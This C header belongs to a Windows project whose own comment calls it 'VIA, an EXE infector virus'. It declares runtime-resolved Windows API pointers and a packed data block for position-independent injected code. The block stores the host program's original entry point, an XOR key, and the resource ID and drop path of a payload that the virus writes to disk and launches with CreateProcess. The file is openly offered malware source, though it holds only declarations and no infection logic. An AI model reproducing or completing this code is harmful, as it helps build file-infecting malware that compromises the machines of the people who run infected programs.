/**
 * @author	Yitzchak Arad
 * @project	VIA, an EXE infector virus
 * @date	2011
 */

#pragma once

#define _CRT_SECURE_NO_WARNINGS
#include<windows.h>

#define PIC_DATA_START_MAGIC (0xda7abacc)
	
/////////////////////////////////
// function pointer prototypes //
/////////////////////////////////
typedef HMODULE (WINAPI *GET_MODULE_HANDLE_A)(LPCSTR);
typedef FARPROC (WINAPI *GET_PROC_ADDRESS)(HMODULE, LPCSTR);
typedef VOID (WINAPI *OUTPUT_DEBUG_STRING_A)(LPCSTR);
typedef DWORD (WINAPI *GET_MODULE_FILE_NAME_A)(HMODULE, LPSTR, DWORD);

typedef HRSRC (WINAPI *FIND_RESOURCE_A)(HMODULE, LPCSTR, LPCSTR);
typedef DWORD (WINAPI *SIZE_OF_RESOURCE)(HMODULE, HRSRC);
typedef HGLOBAL (WINAPI *LOAD_RESOURCE)(HMODULE, HRSRC);
typedef LPVOID (WINAPI *LOCK_RESOURCE)(HGLOBAL);

typedef DWORD (WINAPI *EXPAND_ENVIRONMENT_STRINGS_A)(LPCSTR,LPSTR,DWORD);
typedef HANDLE (WINAPI *CREATE_FILE_A)(LPCSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
typedef BOOL (WINAPI *WRITE_FILE)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLAPPED);
typedef BOOL (WINAPI *CLOSE_HANDLE)(HANDLE);
typedef BOOL (WINAPI *CREATE_PROCESS_A)(LPCSTR,LPSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,
	BOOL,DWORD,LPVOID,LPCSTR,LPSTARTUPINFOA,LPPROCESS_INFORMATION);

////////////////////////////
// module & fuction names //
////////////////////////////
#define KERNEL32_NAME					"kernel32.dll"
#define OUTPUT_DEBUG_STRING_NAME		"OutputDebugStringA"
#define GET_MODULE_FILE_NAME_NAME		"GetModuleFileNameA"

#define FIND_RESOURCE_NAME				"FindResourceA"
#define SIZE_OF_RESOURCE_NAME			"SizeofResource"
#define LOAD_RESOURCE_NAME				"LoadResource"
#define LOCK_RESOURCE_NAME				"LockResource"

#define EXPAND_ENVIRONMENT_STRINGS_NAME	"ExpandEnvironmentStringsA"
#define CREATE_FILE_NAME				"CreateFileA"
#define WRITE_FILE_NAME					"WriteFile"
#define CLOSE_HANDLE_NAME				"CloseHandle"
#define CREATE_PROCESS_NAME				"CreateProcessA"

///////////////////////////////
// Data struct for the       //
// Position Independant Code //
///////////////////////////////

#pragma pack(push)
#pragma pack(1)
struct PICData
{
	DWORD magic;

	// Function pointers (Import Table) -
	// should be accessed as double ptr: call dword ptr [pf...]
	GET_MODULE_HANDLE_A* pfGetModuleHandle;
	GET_PROC_ADDRESS* pfGetProcAddress;

	DWORD originalEntryPoint;
	DWORD payloadResID;
	DWORD payloadResSubID;
	BYTE xorByte;

	// Strings
	CHAR kernel32Name[sizeof(KERNEL32_NAME) + 1];
	CHAR fnameOutputDebugString	[sizeof(OUTPUT_DEBUG_STRING_NAME		) + 1];
	CHAR fnameGetModuleFileName	[sizeof(GET_MODULE_FILE_NAME_NAME		) + 1];
	CHAR fnameFindResource		[sizeof(FIND_RESOURCE_NAME				) + 1];
	CHAR fnameSizeOfResource	[sizeof(SIZE_OF_RESOURCE_NAME			) + 1];
	CHAR fnameLoadResource		[sizeof(LOAD_RESOURCE_NAME				) + 1];
	CHAR fnameLockResource		[sizeof(LOCK_RESOURCE_NAME				) + 1];
	CHAR fnameExpandEnvStrings	[sizeof(EXPAND_ENVIRONMENT_STRINGS_NAME	) + 1];
	CHAR fnameCreateFile		[sizeof(CREATE_FILE_NAME				) + 1];
	CHAR fnameWriteFile			[sizeof(WRITE_FILE_NAME					) + 1];
	CHAR fnameCloseHandle		[sizeof(CLOSE_HANDLE_NAME				) + 1];
	CHAR fnameCreateProcess		[sizeof(CREATE_PROCESS_NAME				) + 1];

	CHAR payloadDestFileName[MAX_PATH];
	CHAR inBuff1[256];
	CHAR inBuff2[256];
};
#pragma pack(pop)

void __stdcall positionIndependantCode();
